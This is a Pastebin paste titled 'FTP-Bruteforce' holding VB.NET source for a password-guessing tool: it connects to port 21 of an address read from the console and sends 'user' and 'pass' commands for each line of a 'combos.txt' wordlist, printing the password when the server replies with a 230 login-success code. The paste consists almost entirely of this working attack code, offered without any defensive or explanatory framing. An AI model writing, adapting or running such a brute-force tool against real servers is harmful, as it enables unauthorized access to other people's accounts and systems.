Advertisement
Guest User

FTP-Bruteforce

a guest
Jul 11th, 2016
1,004
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net
  2. Imports System.Net.Sockets
  3. Imports System.IO
  4. Module Main
  5.     Sub Main()
  6.         Dim line As String
  7.         While True
  8.             line = Console.ReadLine
  9.  
  10.             If line IsNot String.Empty Then
  11.                 Dim br As New Start(line.Split(" ")(0), line.Split(" ")(1))
  12.             End If
  13.         End While
  14.     End Sub
  15. End Module
  16. Public Class Start
  17.     Public Sub New(ByVal _addr$, ByVal _user$)
  18.         Try
  19.             Dim client As New TcpClient
  20.             client.Connect(New IPEndPoint(IPAddress.Parse(_addr), 21))
  21.  
  22.             Dim streamReader As New StreamReader(client.GetStream)
  23.             Dim streamWriter As New StreamWriter(client.GetStream)
  24.  
  25.             streamWriter.AutoFlush = True
  26.  
  27.             Dim br As New hjPassword(_user, streamReader, streamWriter)
  28.         Catch ex As Exception
  29.             Console.WriteLine("{0} doesn't exists", _addr)
  30.         End Try
  31.     End Sub
  32. End Class
  33. Public Class hjPassword
  34.  
  35.     Private Structure Connection
  36.         Public Shared user As String
  37.         Public Shared streamReader As StreamReader
  38.         Public Shared streamWriter As StreamWriter
  39.     End Structure
  40.  
  41.     Public Sub New(ByVal _user$, ByVal _streamReader As StreamReader,
  42.                    ByVal _streamWriter As StreamWriter)
  43.         Connection.user = _user
  44.         Connection.streamReader = _streamReader
  45.         Connection.streamWriter = _streamWriter
  46.  
  47.         Dim hj As New Threading.Thread(AddressOf Me.start)
  48.         hj.Start()
  49.     End Sub
  50.  
  51.     Private response As String
  52.  
  53.     Private Sub start()
  54.         For Each password As String In File.ReadAllLines("combos.txt")
  55.             Console.WriteLine("trying password: {0}", password.Trim)
  56.  
  57.             Connection.streamWriter.WriteLine(String.Format("user {0}", Connection.user))
  58.             Me.response = Connection.streamReader.ReadLine
  59.             Connection.streamWriter.WriteLine(String.Format("pass {0}", password.Trim))
  60.             Me.response = Connection.streamReader.ReadLine
  61.  
  62.             If Me.response.StartsWith("230") Then
  63.                 Console.ForegroundColor = ConsoleColor.Green
  64.                 Console.WriteLine("Password: {0}", password.Trim)
  65.                 Console.ReadLine()
  66.             End If
  67.         Next
  68.     End Sub
  69. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement